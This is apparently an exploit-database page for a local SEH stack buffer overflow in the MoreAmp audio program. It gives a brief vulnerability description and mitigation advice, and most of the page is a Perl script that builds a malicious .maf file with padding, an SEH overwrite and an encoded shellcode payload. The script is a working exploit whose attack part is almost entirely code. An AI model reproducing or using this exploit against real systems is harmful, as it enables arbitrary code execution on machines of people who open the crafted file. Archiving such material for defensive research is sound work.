MoreAmp (.maf) local Stack Buffer Overflow (SEH)

vendor:

MoreAmp

by:

MadjiX

7,8

CVSS

HIGH

Stack Buffer Overflow

119

CWE

Product Name: MoreAmp

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP 3 FR

2009

MoreAmp (.maf) local Stack Buffer Overflow (SEH)

MoreAmp (.maf) local Stack Buffer Overflow (SEH) is a vulnerability that allows an attacker to execute arbitrary code on the vulnerable system by overflowing a buffer on the stack. The vulnerability is triggered when a specially crafted .maf file is opened, which causes a buffer overflow and overwrites the SEH handler. The attacker can then execute arbitrary code on the vulnerable system.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all systems are running the latest version of MoreAmp and that all users are aware of the potential risks of opening untrusted files.

Source

Exploit-DB raw data:

###################################################################
#Exploit Title : MoreAmp (.maf) local Stack Buffer Overflow (SEH)
#tested on windows xp SP 3 FR
#Author: MadjiX
#Special Greets:His0k4 [ where are you :( ]
#Greets:Bibi-info , Silectovic , Volc4n0
###################################################################
my $file= "MadjiX.maf";
my $junk = "\x41" x 108 ;
my $nseh = "\xeb\x06\x90\x90" ;
my $seh = "\xE1\x5B\x82\xC4" ;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$shellcode;
close($FILE);